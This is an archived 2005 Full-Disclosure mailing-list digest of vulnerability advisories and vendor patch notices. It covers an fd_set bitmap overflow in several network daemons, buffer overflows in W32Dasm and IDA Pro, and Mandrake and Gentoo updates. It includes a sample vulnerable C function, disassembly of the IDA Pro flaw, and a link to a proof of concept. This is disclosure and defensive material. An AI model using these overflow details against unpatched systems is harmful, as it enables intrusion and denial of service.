In-Reply-To: <200501241943.j0OJh0rs021207@lists.netsys.com>
References: <200501241943.j0OJh0rs021207@lists.netsys.com>
Message-ID: <41F557F3.3080606@psilanthropy.org>

Paul Kurczaba wrote:
> Wouldn't the phone try to open the jpg file as a picture, and not execute
> it. Just like on desktop PCs: if you rename a .exe (application/program) to
> a jpg (picture file), and try to open the file, your image program will open
> the file, thinking it is a image file. The application code will not be
> executed.

Ideally, yes.  But as demonstrated by the Microsoft GDI exploit, just 
because a file is not executed proper doesn't necessarily mean it's safe 
from problems in the underlying application.

I'd still say that this isn't really a problem directly (after all, it's 
considered "safe" to view a webpage with images that are loaded without 
prompting), but the fact that attachments are automagically loaded does 
provide a spectacular way to automatically infect a large amount of 
phones if somebody were to come up with a way to payload an attachment.



From 3APA3A at security.nnov.ru  Mon Jan 24 20:30:08 2005
From: 3APA3A at security.nnov.ru (3APA3A)
Date: Mon, 24 Jan 2005 23:30:08 +0300
Subject: [Full-Disclosure] SECURITY.NNOV: Multiple applications fd_set
	structure bitmap array index overflow
Message-ID: <1473827718.20050124233008@security.nnov.ru>


Issue:          Multiple applications fd_set structure bitmap array
                index overflow
Type:           remote
Date:           December, 12 2004
Original URL:   http://www.security.nnov.ru/advisiories/sockets.asp
Author:         3APA3A
URL:            http://www.security.nnov.ru/
Affected:

                gnugk 2.2.0 (confirmed, fixed by vendor)
                gnugk is OpenH323 Gatekeeper - The GNU Gatekeeper
                http://www.gnugk.org/

                jabber 1.4.1 (tested, confirmed)
                jabber is "the Linux of instant messaging" -- an open,
                secure, ad-free alternative to consumer IM services
                like AIM, ICQ, MSN, and Yahoo
                http://www.jabber.org/

                bnc 2.8.4 (tested, confirmed, DoS only)
                BNC is an IRC (Internet Relay Chat) proxying server
                http://www.gotbnc.com

                socks5 1.0r1 (untested)
                socks5 is SOCKS v5 application layer gateway and clients
                socks5 is unsupported, contact your package distributor

                citadel 6.27 (untested)
                Citadel is flexible, powerful, community-oriented groupware
                http://uncensored.citadel.org/citadel/

                dante 1.1 (tested, confirmed)
                Dante is a circuit-level firewall/proxy (socks implemented)
                http://www.inet.no/dante/

                rinetd 0.62 (untested)
                rinetd is a simple TCP port redirector
                is unsupported, contact your package distributor

                bld 0.3 (limited, untested)
                bld is a blacklisting daemon
                http://www.online.redhate.org/bld/

                3proxy 0.4 (limited, tested, fixed by vendor)
                3Proxy is a really tiny cross-platform (Win32&Unix) proxy
                servers set
                http://www.security.nnov.ru/soft/3proxy

Intro:

 Actually, different advisories should be created for every product, but I
 do not like idea to flood security lists with similar advisories.

 Vulnerability was discovered for 3proxy during stress-testing and was found
 to apply to different products. Many other products should be tested as well.

History:

 fd_set overflow vulnerability is not new. It was already discussed back in
 2002 in (1). For reason I don't understand NetBSD reported this vulnerability
 as a local one and it was never discussed as remotely exploitable
 vulnerability. It is.

Details:

 fd_set structure is defined to be used with select() (man 2 select) function.
 fd_set is used in select() and few special macros (FD_SET, FD_CLR, FD_ISSET,
 FD_CLEAR).
 For all POSIX compatible operations systems fd_set is defined as a bitmask
 array with a socket number as an array index.

#ifndef FD_SETSIZE
#define FD_SETSIZE 1024
#endif
#define NBBY 8 /* number of bits in a byte */
typedef long fd_mask;
#define NFDBITS (sizeof (fd_mask) * NBBY) /* bits per mask */
#define howmany(x,y) (((x)+((y)-1))/(y))
typedef struct _types_fd_set {
        fd_mask fds_bits[howmany(FD_SETSIZE, NFDBITS)];
} _types_fd_set;

#define fd_set _types_fd_set

 A call to FD_SET sets a bit to 1 using socket number as an index:

#define FD_SET(n, p) ((p)->fds_bits[(n)/NFDBITS] |= (1L << ((n) % NFDBITS)))

 select() clears all used fd_set bits and sets a bits for sockets with
 requested activity type. Select calculates length of the bitmask array
 from the first argument, which must be above the largest number of the 
 socket used.

 Neither FD_SET nor select() do not control socket to be below FD_SETSIZE.
 For select() it's not possible in current select() implementation.

 A control for socket number to be below FD_SETSIZE is left for programmer.

Vulnerability:

 If programmer fails to check socket number before using select() or fd_set
 macros, it's possible to overwrite memory behind fd_set structure. Very few
 select() based application actually check FD_SETSIZE value. A simplest
 example of vulnerable function may be:

 int waitsockdata(SOCKET sock, int timeosec, int timeousec){
  fd_set fds;
  struct timeval tv;
  int res;
 
  tv.tv_sec = timeosec;
  tv.tv_usec = timeousec;
  FD_ZERO(&fds);
  FD_SET(sock, &fds);
  if ((res = select (sock+1, &fds, NULL, NULL, &tv))!=1) return EOF;
  return(sock);
 }

 in this example, if waitsockdata() is called with large socket number,
 some data on the stack, for example saved EIP may be overwritten, but attacker
 can control only one bit of data. In different situation, if multiple sockets
 are placed on the fd_set attacker may have more control.

Vulnerable application:

 There can be few types of select() based Unix servers:

 1. One process per client model (server fork()s for every client connection)
 2. Single application with single thread (finite state machine architecture)
 3. Threaded server (server creates a thread for every client)

 Different models can be mixed. Models 2 and 3 could be vulnerable to this
 kind of attacks if number of clients for each process is not limit or limits
 allow large number (under FD_SETSIZE) of files or sockets to be open in a
 single process. Model 1 is safe from this kind of vulnerability (very limited
 in performance though).

Vulnerable applications examples:

 See beginning of the article. "untested" means code was audited and problem
 was  found but no testing performed. "limited" means application limits
 number of connections by default.  You can identify vulnerable pieces of
 code by yourself.

Impact:

 Depending on vulnerable application it's possible to overwrite portions of
 memory. Impact is close to off-by-one overflows, code execution doesn't seems
 exploitable.

Mitigating factors:

 For all tested Linux distributions default ulimits for open descriptors (1024)
 are equal to FD_SETSIZE (1024) preventing exploitation in default
 configuration.

 For Windows fd_set is a sockets array, not bitmask and FD_SETSIZE defines
 maximum number of sockets in this array. So, Windows application may be
 vulnerable only if it places a large number of sockets into same fd_set
 structure (finite state machine architecture).

 In case of BNC it's possible to overwrite variable with addrlen accept()
 parameter effectively preventing new connections from being accepted and
 almost fully control stack content. But vulnerable function never returns,
 so code execution is probably impossible.

Elevating factors:

 For FreeBSD and probably many more systems there is no default ulimits.

 For Windows default FD_SETSIZE is 64 and select() is only POSIX-complatible
 function to wait on socket input (there is no poll(), but there are Windows
 specific functions).

 For Cygwin FD_SETSIZE erroneously defined as 64, probably for Windows
 compatibility, but fd_set is defined as a bitmask. It makes Cygwin very
 sensible to this kind of attacks.

 Dante probably have some additional bugs, because in tests it crashed long
 before reaching FD_SETSIZE of connections.

Exploitation:

 In most cases to exploit this vulnerability to DoS all you need is to
 establish large number of concurrent connections. In some cases you need
 additionally handshake client protocol. Exploit code is trivial and will
 not be published.

Workaround:

 Set ulimits for all network daemon accounts below FD_SETSIZE. Do not use
 network daemons compiled with Cygwin.


Vendors and solutions:

 3proxy 0.5b fixes the problem, download available from
 http://www.security.nnov.ru/soft/3proxy
 3proxy still in beta development stage.

 All vendors were contacted with contacts listed in product packages.
 Only Jan Willamowius  from GNU h.323 Gatekeeper team replied to bug
 report.

 gnugk 2.2.1 fixes the problem, download available from
 http://www.gnugk.org/h323download.html


References:

1. NetBSD Security Advisory 2002-014: fd_set overrun in mbone tools and pppd
 http://www.security.nnov.ru/search/document.asp?docid=3498

Thanks to:

 Ilya Anfimov and Kirill Lopuchov for help in identifying this vulnerability,
 Greg MacManus from iDefense for historic information on this issue and help
 with impact identification (NO, it was not contributed to iDefense, but
 discussed with Greg), Phiby for here love and patience.

-- 
/3APA3A



From aluigi at autistici.org  Mon Jan 24 21:49:11 2005
From: aluigi at autistici.org (Luigi Auriemma)
Date: Mon, 24 Jan 2005 21:49:11 +0000
Subject: [Full-Disclosure] Local buffer-overflow in W32Dasm 8.93
Message-ID: <20050124214911.414aebb9.aluigi@autistici.org>


#######################################################################

                             Luigi Auriemma

Application:  W32Dasm
              (was http://www.expage.com/page/w32dasm)
Versions:     <= 8.93 (8.94???)
Platforms:    Windows
Bug:          buffer-overflow
Exploitation: local
Date:         24 Jan 2005
Author:       Luigi Auriemma
              e-mail: aluigi at autistici.org
              web:    http://aluigi.altervista.org


#######################################################################


1) Introduction
2) Bug
3) The Code
4) Fix


#######################################################################

===============
1) Introduction
===============


W32Dasm is a cool and famous disassembler/debugger developed by URSoft.
It has tons of functions and, also if it is no longer supported by long
time, it is still widely used by a lot of people.


#######################################################################

======
2) Bug
======


The program uses the wsprintf() function to copy the name of the
imported/exported functions of the analyzed file into a buffer of only
256 bytes, with the possibility for an attacker to execute malicious
code.


#######################################################################

===========
3) The Code
===========


Exploiting the bug is very simple, all you need is to get an executable
and searching for the name of an imported or exported function to
modify.

I have written a very simple proof-of-concept that overwrites the
return address with 0xdeadc0de:

  http://aluigi.altervista.org/poc/w32dasmbof.disasm_me


#######################################################################

======
4) Fix
======


No fix.
This program is no longer supported.


#######################################################################


--- 
Luigi Auriemma
http://aluigi.altervista.org



From security at linux-mandrake.com  Mon Jan 24 21:03:54 2005
From: security at linux-mandrake.com (Mandrake Linux Security Team)
Date: Mon, 24 Jan 2005 14:03:54 -0700
Subject: [Full-Disclosure] MDKSA-2005:012 - Updated zhcon packages fix
	vulnerability
Message-ID: <E1CtBNK-0005b2-Oz@updates.mandrakesoft.com>

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

 _______________________________________________________________________

                 Mandrakelinux Security Update Advisory
 _______________________________________________________________________

 Package name:           zhcon
 Advisory ID:            MDKSA-2005:012
 Date:                   January 24th, 2005

 Affected versions:	 10.0, 10.1
 ______________________________________________________________________

 Problem Description:

 Erik Sjolund discovered that zhcon accesses a user-controlled
 configuration file with elevated privileges which could make it
 possible to read arbitrary files.
 
 The updated packages have been patched to prevent these problems.
 _______________________________________________________________________

 References:

  http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2005-0072
 ______________________________________________________________________

 Updated Packages:
  
 Mandrakelinux 10.0:
 c60dda48d225773739aa51a48a762c6f  10.0/RPMS/zhcon-0.2.3-6.2.100mdk.i586.rpm
 dafea6b3edd1bd776bc4f0a310b4f8e3  10.0/SRPMS/zhcon-0.2.3-6.2.100mdk.src.rpm

 Mandrakelinux 10.0/AMD64:
 3f4dc81c833c5bd43e0538de331e289b  amd64/10.0/RPMS/zhcon-0.2.3-6.2.100mdk.amd64.rpm
 dafea6b3edd1bd776bc4f0a310b4f8e3  amd64/10.0/SRPMS/zhcon-0.2.3-6.2.100mdk.src.rpm

 Mandrakelinux 10.1:
 717d22a4dc7252b63bea66a955d75567  10.1/RPMS/zhcon-0.2.3-6.2.101mdk.i586.rpm
 96a864157fc70decb911a34a8dbe21eb  10.1/SRPMS/zhcon-0.2.3-6.2.101mdk.src.rpm

 Mandrakelinux 10.1/X86_64:
 bb8c2f25db11d57105a083744b0f55f0  x86_64/10.1/RPMS/zhcon-0.2.3-6.2.101mdk.x86_64.rpm
 96a864157fc70decb911a34a8dbe21eb  x86_64/10.1/SRPMS/zhcon-0.2.3-6.2.101mdk.src.rpm
 _______________________________________________________________________

 To upgrade automatically use MandrakeUpdate or urpmi.  The verification
 of md5 checksums and GPG signatures is performed automatically for you.

 All packages are signed by Mandrakesoft for security.  You can obtain
 the GPG public key of the Mandrakelinux Security Team by executing:

  gpg --recv-keys --keyserver pgp.mit.edu 0x22458A98

 You can view other update advisories for Mandrakelinux at:

  http://www.mandrakesoft.com/security/advisories

 If you want to report vulnerabilities, please contact

  security_linux-mandrake.com

 Type Bits/KeyID     Date       User ID
 pub  1024D/22458A98 2000-07-10 Linux Mandrake Security Team
  <security linux-mandrake.com>
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.2.4 (GNU/Linux)

iD8DBQFB9WK6mqjQ0CJFipgRAhDrAJ0Z63ac0BQOTscusg5Rf64Gh8eXgQCdHSJx
uvLs2ZMADYpKSsLBVdeQj1M=
=yV8f
-----END PGP SIGNATURE-----


From security at linux-mandrake.com  Mon Jan 24 21:07:06 2005
From: security at linux-mandrake.com (Mandrake Linux Security Team)
Date: Mon, 24 Jan 2005 14:07:06 -0700
Subject: [Full-Disclosure] MDKSA-2005:013 - Updated ethereal packages fix
	multiple vulnerabilities
Message-ID: <E1CtBQQ-00047a-LN@updates.mandrakesoft.com>

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

 _______________________________________________________________________

                 Mandrakelinux Security Update Advisory
 _______________________________________________________________________

 Package name:           ethereal
 Advisory ID:            MDKSA-2005:013
 Date:                   January 24th, 2005

 Affected versions:	 10.0, 10.1
 ______________________________________________________________________

 Problem Description:

 A number of vulnerabilities were found in Ethereal, all of which are
 fixed in version 0.10.9:  The COPS dissector could go into an infinite
 loop (CAN-2005-0006); the DLSw dissector could cause an assertion,
 making Ethereal exit prematurely (CAN-2005-0007); the DNP dissector
 could cause memory corruption (CAN-2005-0008); the Gnutella dissector
 could cause an assertion, making Ethereal exit prematurely
 (CAN-2005-0009); the MMSE dissector could free static memory
 (CAN-2005-0010); and the X11 protocol dissector is vulnerable to a
 string buffer overflow (CAN-2005-0084).
 _______________________________________________________________________

 References:

  http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2005-0006
  http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2005-0007
  http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2005-0008
  http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2005-0009
  http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2005-0010
  http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2005-0084
  http://www.ethereal.com/appnotes/enpa-sa-00017.html
 ______________________________________________________________________

 Updated Packages:
  
 Mandrakelinux 10.0:
 c74b93a5f05c68eb7845c6d3a05d7ab5  10.0/RPMS/ethereal-0.10.9-0.1.100mdk.i586.rpm
 bbdcd41fe80851a0248c8606f0f0ddba  10.0/SRPMS/ethereal-0.10.9-0.1.100mdk.src.rpm

 Mandrakelinux 10.0/AMD64:
 3ab0b6691827a4d228b2696efda24de1  amd64/10.0/RPMS/ethereal-0.10.9-0.1.100mdk.amd64.rpm
 bbdcd41fe80851a0248c8606f0f0ddba  amd64/10.0/SRPMS/ethereal-0.10.9-0.1.100mdk.src.rpm

 Mandrakelinux 10.1:
 72d299832f7340c675f9cf89aaad555f  10.1/RPMS/ethereal-0.10.9-0.1.101mdk.i586.rpm
 646de9ee68b10dba30c6f7f0b9989f7d  10.1/RPMS/ethereal-tools-0.10.9-0.1.101mdk.i586.rpm
 48cb5ca4befde405416a9aa7c19b5556  10.1/RPMS/libethereal0-0.10.9-0.1.101mdk.i586.rpm
 c3d5c5d06f7afd1e23f06f682188c03e  10.1/RPMS/tethereal-0.10.9-0.1.101mdk.i586.rpm
 87e639367056153d74db172ebb8ca897  10.1/SRPMS/ethereal-0.10.9-0.1.101mdk.src.rpm

 Mandrakelinux 10.1/X86_64:
 f8852108acdeb991a2a2c06e225863d9  x86_64/10.1/RPMS/ethereal-0.10.9-0.1.101mdk.x86_64.rpm
 3ee69f3876a7741ddeb8a79ac2229fb7  x86_64/10.1/RPMS/ethereal-tools-0.10.9-0.1.101mdk.x86_64.rpm
 edb8a0f7523320df5f30db3e872ef139  x86_64/10.1/RPMS/lib64ethereal0-0.10.9-0.1.101mdk.x86_64.rpm
 6cf8367b84d5508cdaaa96e59f973ce8  x86_64/10.1/RPMS/tethereal-0.10.9-0.1.101mdk.x86_64.rpm
 87e639367056153d74db172ebb8ca897  x86_64/10.1/SRPMS/ethereal-0.10.9-0.1.101mdk.src.rpm
 _______________________________________________________________________

 To upgrade automatically use MandrakeUpdate or urpmi.  The verification
 of md5 checksums and GPG signatures is performed automatically for you.

 All packages are signed by Mandrakesoft for security.  You can obtain
 the GPG public key of the Mandrakelinux Security Team by executing:

  gpg --recv-keys --keyserver pgp.mit.edu 0x22458A98

 You can view other update advisories for Mandrakelinux at:

  http://www.mandrakesoft.com/security/advisories

 If you want to report vulnerabilities, please contact

  security_linux-mandrake.com

 Type Bits/KeyID     Date       User ID
 pub  1024D/22458A98 2000-07-10 Linux Mandrake Security Team
  <security linux-mandrake.com>
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.2.4 (GNU/Linux)

iD8DBQFB9WN6mqjQ0CJFipgRAqG4AKDti9Fj1khxPj88qvxE0gCmVRJA5gCfQ8KW
S0Z/tQAWhZM8zLyl08Is5Jo=
=Ymy9
-----END PGP SIGNATURE-----


From lewk at gentoo.org  Mon Jan 24 21:42:34 2005
From: lewk at gentoo.org (Luke Macken)
Date: Mon, 24 Jan 2005 16:42:34 -0500
Subject: [Full-Disclosure] [ GLSA 200501-35 ] Evolution: Integer overflow in
	camel-lock-helper
Message-ID: <20050124214234.GE2746@tomservo.ne1.client2.attbi.c>

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Gentoo Linux Security Advisory                           GLSA 200501-35
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
                                            http://security.gentoo.org/
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -

  Severity: High
     Title: Evolution: Integer overflow in camel-lock-helper
      Date: January 24, 2005
      Bugs: #79183
        ID: 200501-35

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -

Synopsis
========

An overflow in the camel-lock-helper application can be exploited by an
attacker to execute arbitrary code with elevated privileges.

Background
==========

Evolution is a GNOME groupware application similar to Microsoft
Outlook.

Affected packages
=================

    -------------------------------------------------------------------
     Package                /  Vulnerable  /                Unaffected
    -------------------------------------------------------------------
  1  mail-client/evolution      <= 2.0.2                   >= 2.0.2-r1

Description
===========

Max Vozeler discovered an integer overflow in the camel-lock-helper
application, which is installed as setgid mail by default.

Impact
======

A local attacker could exploit this vulnerability to execute malicious
code with the privileges of the 'mail' group. A remote attacker could
also setup a malicious POP server to execute arbitrary code when an
Evolution user connects to it.

Workaround
==========

There is no known workaround at this time.

Resolution
==========

All Evolution users should upgrade to the latest version:

    # emerge --sync
    # emerge --ask --oneshot --verbose
    # ">=mail-client/evolution-2.0.2-r1"

References
==========

  [ 1 ] CAN-2005-0102
        http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2005-0102

Availability
============

This GLSA and any updates to it are available for viewing at
the Gentoo Security Website:

  http://security.gentoo.org/glsa/glsa-200501-35.xml

Concerns?
=========

Security is a primary focus of Gentoo Linux and ensuring the
confidentiality and security of our users machines is of utmost
importance to us. Any security concerns should be addressed to
security at gentoo.org or alternatively, you may file a bug at
http://bugs.gentoo.org.

License
=======

Copyright 2005 Gentoo Foundation, Inc; referenced text
belongs to its owner(s).

The contents of this document are licensed under the
Creative Commons - Attribution / Share Alike license.

http://creativecommons.org/licenses/by-sa/2.0
-------------- next part --------------
A non-text attachment was scrubbed...
Name: not available
Type: application/pgp-signature
Size: 189 bytes
Desc: not available
Url : http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20050124/9cac9c53/attachment.bin 

From lists-security at nettracers.com  Mon Jan 24 22:29:14 2005
From: lists-security at nettracers.com (lists-security at nettracers.com)
Date: Mon, 24 Jan 2005 14:29:14 -0800
Subject: [Full-Disclosure] blocking SkyPE?
In-Reply-To: <20050124085744.GC26105@ait.ac.th>
Message-ID: <20050124222934.2239D25C00B@mail.nettracers.com>

 
>I need to block SkyPE at the border of our network for many reasons.

Commercial, Off-The-Shelf: 

1)Fortinet stops this and I have used it for such...for T1 speeds you can
keep the cost under $1K and can be installed in bridge/transparent/inline
mode so as not to disturb your existing infrastructure.  

2)Checkpoint will do application/layer-7 inspection as well, but will cost
quite a bit more to purchase and implement.


Roll-your-own: 
  Probably will cost you more in time to do this, but you can use Snort to
detect and control an IPTables firewall...I have seen but not tried this
updated implementation of a dynamic IPTables config tool based on Snort
Rulesets:

 http://www.cipherdyne.com/

 http://www.cipherdyne.com/fwsnort/

Good Luck,
Bryan K. Watson
bwatson at nettracers.com



From brenno at dewinter.com  Mon Jan 24 23:26:02 2005
From: brenno at dewinter.com (Brenno J.S.A.A.F. de Winter)
Date: Tue, 25 Jan 2005 00:26:02 +0100
Subject: [Full-Disclosure] blocking SkyPE?
In-Reply-To: <20050124222934.2239D25C00B@mail.nettracers.com>
References: <20050124222934.2239D25C00B@mail.nettracers.com>
Message-ID: <1106609162.15378.72.camel@localhost>

Hi,

You had the technical answer already. I just wanted add this: How
certain are you that Skype is really something you want to block. Have
you asserted there is a problem to solve? 

Is the solution really what you want? If you want to block John Doe that
will be okay. If you have legions of techies walking around I'd rethink
your approach. Using OpenVPN it is easy tunnel all protocols that one
wants to use.

Cheers,

Brenno.



From daniels at Ponderosatel.com  Mon Jan 24 23:52:55 2005
From: daniels at Ponderosatel.com (Daniel Sichel)
Date: Mon, 24 Jan 2005 15:52:55 -0800
Subject: [Full-Disclosure] Terminal Server vulnerabilities
Message-ID: <190DFDD2F99A65469B4B15D3658C0D2BC5A495@ptc6.ponderosatel.com>

I am currently locked in a death struggle with Microsoft's server
product group. They have dropped support for the IAS (RADIUS) mmc in
server 2003 and the 2000 version won't work under XP SP2. Their solution
is to user terminal server to control the server remotely to manage
RADIUS. Naturally  I don't like this answer because of horror stories I
have heard about Terminal server. They claim there are no unfixed
vulnerabilities to Terminal Server on Windows Server 2000 Service Pack
4. 

I find that hard to believe and I know you guys will know if they are
full of it, or they are correct. Please let me know ASAP of any CURRENT
vulnerabilities int Terminal Server.

Dan Sichel
Network Engineer
Ponderosa Telephone
daniels at ponderosatel.com (559) 868-6367
 
P.S. the MMC is worse, it requires that port 139 or 445 be opened, but
that is not the point, I suspect they are feeding me a line and I want
to prove it. Thanks.



From security at linux-mandrake.com  Tue Jan 25 00:45:51 2005
From: security at linux-mandrake.com (Mandrake Linux Security Team)
Date: Mon, 24 Jan 2005 17:45:51 -0700
Subject: [Full-Disclosure] MDKSA-2005:014 - Updated squid packages fix
	multiple vulnerabilities
Message-ID: <E1CtEq7-0007QR-Uu@updates.mandrakesoft.com>

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

 _______________________________________________________________________

                 Mandrakelinux Security Update Advisory
 _______________________________________________________________________

 Package name:           squid
 Advisory ID:            MDKSA-2005:014
 Date:                   January 24th, 2005

 Affected versions:	 10.0, 10.1, 9.2, Corporate Server 2.1,
			 Corporate Server 3.0
 ______________________________________________________________________

 Problem Description:

 "infamous41md" discovered two vulnerabilities in the squid proxy
 cache server.  The first is a buffer overflow in the Gopher response
 parser which leads to memory corruption and would usually crash squid
 (CAN-2005-0094).  The second is an integer overflow in the receiver of
 WCCP (Web Cache Communication Protocol) messages.  An attacker could
 send a specially crafted UDP datagram that would cause squid to crash
 (CAN-2005-0095).
 
 The updated packages have been patched to prevent these problems.
 _______________________________________________________________________

 References:

  http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2005-0094
  http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2005-0095
  http://www.squid-cache.org/Advisories/SQUID-2005_1.txt
  http://www.squid-cache.org/Advisories/SQUID-2005_2.txt
 ______________________________________________________________________

 Updated Packages:
  
 Mandrakelinux 10.0:
 829a39d43e630ea5723714a6914fb714  10.0/RPMS/squid-2.5.STABLE4-2.3.100mdk.i586.rpm
 c2cb0554ab7225eef74bef946ffe359d  10.0/SRPMS/squid-2.5.STABLE4-2.3.100mdk.src.rpm

 Mandrakelinux 10.0/AMD64:
 01d6b3dfa7dc5dd5cf1a95c14492f18c  amd64/10.0/RPMS/squid-2.5.STABLE4-2.3.100mdk.amd64.rpm
 c2cb0554ab7225eef74bef946ffe359d  amd64/10.0/SRPMS/squid-2.5.STABLE4-2.3.100mdk.src.rpm

 Mandrakelinux 10.1:
 59493538203620d5bcaabaa23d601446  10.1/RPMS/squid-2.5.STABLE6-2.2.101mdk.i586.rpm
 e54c318ee8ec23a28f7ab799e7caad33  10.1/SRPMS/squid-2.5.STABLE6-2.2.101mdk.src.rpm

 Mandrakelinux 10.1/X86_64:
 f11e4cc06bcface8d67e8505eaa96723  x86_64/10.1/RPMS/squid-2.5.STABLE6-2.2.101mdk.x86_64.rpm
 e54c318ee8ec23a28f7ab799e7caad33  x86_64/10.1/SRPMS/squid-2.5.STABLE6-2.2.101mdk.src.rpm

 Corporate Server 2.1:
 a42ac4049889e5b7123be68f65784f79  corporate/2.1/RPMS/squid-2.4.STABLE7-2.3.C21mdk.i586.rpm
 dfc6cc283c301c3f4495e3a8f7ddcd63  corporate/2.1/SRPMS/squid-2.4.STABLE7-2.3.C21mdk.src.rpm

 Corporate Server 2.1/x86_64:
 903517606084ab4d37e2a52506eed1a5  x86_64/corporate/2.1/RPMS/squid-2.4.STABLE7-2.3.C21mdk.x86_64.rpm
 dfc6cc283c301c3f4495e3a8f7ddcd63  x86_64/corporate/2.1/SRPMS/squid-2.4.STABLE7-2.3.C21mdk.src.rpm

 Corporate Server 3.0:
 c3567af5bc3b38291199904d81165879  corporate/3.0/RPMS/squid-2.5.STABLE4-2.3.C30mdk.i586.rpm
 89d53797c271b1897f775d75c4bb4b9e  corporate/3.0/SRPMS/squid-2.5.STABLE4-2.3.C30mdk.src.rpm

 Mandrakelinux 9.2:
 b200e4cd5136b605665675c22a07f8f6  9.2/RPMS/squid-2.5.STABLE3-3.5.92mdk.i586.rpm
 3ad2ffec1411fae0708f4f3e00505fa3  9.2/SRPMS/squid-2.5.STABLE3-3.5.92mdk.src.rpm

 Mandrakelinux 9.2/AMD64:
 e3eff312ad7b514582575f076f26e5fb  amd64/9.2/RPMS/squid-2.5.STABLE3-3.5.92mdk.amd64.rpm
 3ad2ffec1411fae0708f4f3e00505fa3  amd64/9.2/SRPMS/squid-2.5.STABLE3-3.5.92mdk.src.rpm
 _______________________________________________________________________

 To upgrade automatically use MandrakeUpdate or urpmi.  The verification
 of md5 checksums and GPG signatures is performed automatically for you.

 All packages are signed by Mandrakesoft for security.  You can obtain
 the GPG public key of the Mandrakelinux Security Team by executing:

  gpg --recv-keys --keyserver pgp.mit.edu 0x22458A98

 You can view other update advisories for Mandrakelinux at:

  http://www.mandrakesoft.com/security/advisories

 If you want to report vulnerabilities, please contact

  security_linux-mandrake.com

 Type Bits/KeyID     Date       User ID
 pub  1024D/22458A98 2000-07-10 Linux Mandrake Security Team
  <security linux-mandrake.com>
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.2.4 (GNU/Linux)

iD8DBQFB9Za/mqjQ0CJFipgRAqK0AKCfscJWvIuImQPCHK2qfAfx1N1D6wCffx2v
Yidt+OBE0IJZPo/0fdv20AA=
=ntpM
-----END PGP SIGNATURE-----


From idlabs-advisories at idefense.com  Mon Jan 24 20:12:55 2005
From: idlabs-advisories at idefense.com (idlabs-advisories at idefense.com)
Date: Mon, 24 Jan 2005 15:12:55 -0500
Subject: [Full-Disclosure] iDEFENSE Security Advisory 01.24.05: DataRescue
	Interactive Disassembler Pro Buffer Overflow Vulnerability
Message-ID: <FB24803D1DF2A34FA59FC157B77C970503C8B4C6@idserv04.idef.com>

DataRescue Interactive Disassembler Pro Buffer Overflow Vulnerability

iDEFENSE Security Advisory 01.24.05
www.idefense.com/application/poi/display?id=189&type=vulnerabilities
January 24, 2005

I. BACKGROUND

DataRescue Inc.'s IDA Pro is a Windows or Linux hosted multi-processor
disassembler and debugger providing a multitude of features. More
information is available at:

    http://www.datarescue.com/idabase/

II. DESCRIPTION

Exploitation of a buffer overflow vulnerability in DataRescue Inc.'s
Interactive Disassembler Pro (IDA Pro) allows attackers to execute
arbitrary code under the context of the logged on user.

The problem specifically exists in the code responsible for parsing the
Portable Executable import directory. The import directory lists all the
symbols imported by the PE file and is stored as an array of data
structures. Each data structure contains the name of the imported
library and a list of function pointers, known as the Import Address
Table. A stack-based buffer overflow occurs when parsing long import
library names in the following snippet of assembly from ida.wll
(IDA Pro v4.7):

    0x100838BB LEA EDX, [EBP-30C]
    0x100838C1 PUSH DWORD PTR [EBP+8]
    0x100838C4 PUSH EDX
    0x100838C5 CALL ida.#835

"EBP+8" from above represents the attacker-supplied source buffer and
"EBP-30C" represents the static stack-based destination buffer of
approximately 800 bytes. The "ida_835" procedure performs an unchecked
string copy overwriting a stored return address and allowing an attacker
to redirect CPU flow to eventually execute arbitrary code.

III. ANALYSIS

Exploitation of the described vulnerability allows attackers to execute
arbitrary code under the context of the logged in user. Exploitation
requires that an attacker convince a target user to open a malicious
Portable Executable file with a vulnerable version of IDA Pro. IDA Pro
is the primary disassembler used by many security researchers. As such,
the severity of this issue is exacerbated when considering the impact of
a fast spreading worm combined with an exploit for this vulnerability.

Although simple modification of an import library name is sufficient to
exploit this vulnerability, the Windows loader will fail to recognize it
as a valid PE file. This will result in a non-executable malicious
binary. iDEFENSE has discovered a method for exploiting this
vulnerability in a fashion that is undetectable via PE import table
entry analysis, and that is affective against IDA Pro and will load and
execute as a regular binary without error.

It should be noted that other applications designed to analyze PE
executables may also be vulnerable. PEiD is a freely available PE
analysis tool and is also susceptible to attack.

IV. DETECTION

iDEFENSE has confirmed the existence of this vulnerability in IDA Pro
versions 4.6 Service Pack 1 and 4.7 on both the Microsoft Windows and
Linux platforms. It is suspected that earlier versions are also
affected.

V. WORKAROUND

Prior to opening unknown files with vulnerable versions of IDA Pro,
examine the PE import table entries for long or abnormal strings. There
are a number of tools available for analyzing the PE file format. It is
important to note that this method will not catch all exploit vectors.

VI. VENDOR RESPONSE

"A temporary fix is available here

   http://www.datarescue.com/cgi-local/ultimatebb.cgi?/forum/2.html

A more generic fix will be available in the next IDA Pro release."

VII. CVE INFORMATION

The Common Vulnerabilities and Exposures (CVE) project has assigned the
names CAN-2005-0115 to these issues. This is a candidate for inclusion
in the CVE list (http://cve.mitre.org), which standardizes names for
security problems.

VIII. DISCLOSURE TIMELINE

01/12/2005      Initial vendor notification
01/12/2005      Initial vendor response
01/24/2005      Coordinated public disclosure

IX. CREDIT

Lord Yup is credited with this discovery.

Get paid for vulnerability research
http://www.idefense.com/poi/teams/vcp.jsp

X. LEGAL NOTICES

Copyright (c) 2005 iDEFENSE, Inc.

Permission is granted for the redistribution of this alert
